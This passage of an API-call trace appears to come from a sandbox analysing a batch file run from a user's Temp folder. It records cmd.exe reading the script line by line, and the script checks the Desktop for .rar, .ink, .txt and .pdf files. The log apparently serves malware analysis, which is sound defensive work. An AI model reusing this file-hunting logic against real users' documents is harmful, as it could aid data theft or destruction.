zip\r\n\r\n\r\n") returned 2 [0040.148] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.148] GetFileType (hFile=0x74) returned 0x1 [0040.148] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0040.148] GetProcessHeap () returned 0x4e0000 [0040.148] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.148] GetProcessHeap () returned 0x4e0000 [0040.148] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.148] _tell (_FileHandle=3) returned 3643 [0040.148] _close (_FileHandle=3) returned 0 [0040.149] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.149] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.149] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0040.149] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0040.149] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f2, lpOverlapped=0x0) returned 1 [0040.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0040.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\r\n\r\n") returned 25 [0040.149] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.149] GetFileType (hFile=0x74) returned 0x1 [0040.149] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0040.149] GetProcessHeap () returned 0x4e0000 [0040.150] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.150] GetProcessHeap () returned 0x4e0000 [0040.150] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.151] _tell (_FileHandle=3) returned 3668 [0040.151] _close (_FileHandle=3) returned 0 [0040.151] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0040.151] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.151] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.151] GetLastError () returned 0x2 [0040.151] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.151] GetLastError () returned 0x6 [0040.151] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.151] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.152] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.152] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.152] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.152] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.152] SetConsoleInputExeNameW () returned 0x1 [0040.152] GetConsoleOutputCP () returned 0x1b5 [0040.152] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.152] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.153] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.153] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.153] GetProcessHeap () returned 0x4e0000 [0040.153] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0040.154] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d9, lpOverlapped=0x0) returned 1 [0040.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0040.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\r\n\r\n") returned 2 [0040.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.154] GetFileType (hFile=0x74) returned 0x1 [0040.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0040.154] GetProcessHeap () returned 0x4e0000 [0040.154] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.154] GetProcessHeap () returned 0x4e0000 [0040.154] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.154] _tell (_FileHandle=3) returned 3670 [0040.154] _close (_FileHandle=3) returned 0 [0040.154] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.155] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0040.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0040.155] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d7, lpOverlapped=0x0) returned 1 [0040.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0040.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\r\n\r\n") returned 25 [0040.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.155] GetFileType (hFile=0x74) returned 0x1 [0040.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0040.155] GetProcessHeap () returned 0x4e0000 [0040.155] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.155] GetProcessHeap () returned 0x4e0000 [0040.155] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.156] _tell (_FileHandle=3) returned 3695 [0040.156] _close (_FileHandle=3) returned 0 [0040.157] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0040.157] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.157] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.157] GetLastError () returned 0x2 [0040.157] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.157] GetLastError () returned 0x6 [0040.157] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.157] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.157] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.157] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.158] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.158] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.158] SetConsoleInputExeNameW () returned 0x1 [0040.158] GetConsoleOutputCP () returned 0x1b5 [0040.158] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.158] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.158] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.158] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.159] GetProcessHeap () returned 0x4e0000 [0040.159] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0040.159] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17be, lpOverlapped=0x0) returned 1 [0040.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0040.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\r\n\r\n") returned 2 [0040.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.160] GetFileType (hFile=0x74) returned 0x1 [0040.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0040.160] GetProcessHeap () returned 0x4e0000 [0040.160] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.160] GetProcessHeap () returned 0x4e0000 [0040.160] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.160] _tell (_FileHandle=3) returned 3697 [0040.160] _close (_FileHandle=3) returned 0 [0040.160] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.161] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0040.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0040.161] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17bc, lpOverlapped=0x0) returned 1 [0040.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0040.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\r\n\r\n") returned 25 [0040.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.161] GetFileType (hFile=0x74) returned 0x1 [0040.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0040.161] GetProcessHeap () returned 0x4e0000 [0040.161] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.161] GetProcessHeap () returned 0x4e0000 [0040.161] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.162] _tell (_FileHandle=3) returned 3722 [0040.163] _close (_FileHandle=3) returned 0 [0040.163] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0040.163] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.163] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.163] GetLastError () returned 0x2 [0040.163] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.163] GetLastError () returned 0x6 [0040.163] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.163] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.163] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.163] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.164] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.164] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.164] SetConsoleInputExeNameW () returned 0x1 [0040.164] GetConsoleOutputCP () returned 0x1b5 [0040.164] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.164] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.164] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.165] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.165] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.165] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.165] GetProcessHeap () returned 0x4e0000 [0040.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.165] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.165] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0040.166] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a3, lpOverlapped=0x0) returned 1 [0040.166] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0040.166] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\r\n\r\n") returned 2 [0040.166] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.166] GetFileType (hFile=0x74) returned 0x1 [0040.166] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.166] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0040.166] GetProcessHeap () returned 0x4e0000 [0040.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.166] GetProcessHeap () returned 0x4e0000 [0040.166] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.166] _tell (_FileHandle=3) returned 3724 [0040.166] _close (_FileHandle=3) returned 0 [0040.166] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.166] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.167] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.167] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0040.167] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.167] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0040.167] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a1, lpOverlapped=0x0) returned 1 [0040.167] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0040.167] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\r\n\r\n") returned 25 [0040.167] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.167] GetFileType (hFile=0x74) returned 0x1 [0040.167] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.167] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0040.167] GetProcessHeap () returned 0x4e0000 [0040.167] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.167] GetProcessHeap () returned 0x4e0000 [0040.167] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.168] _tell (_FileHandle=3) returned 3749 [0040.168] _close (_FileHandle=3) returned 0 [0040.169] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0040.169] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 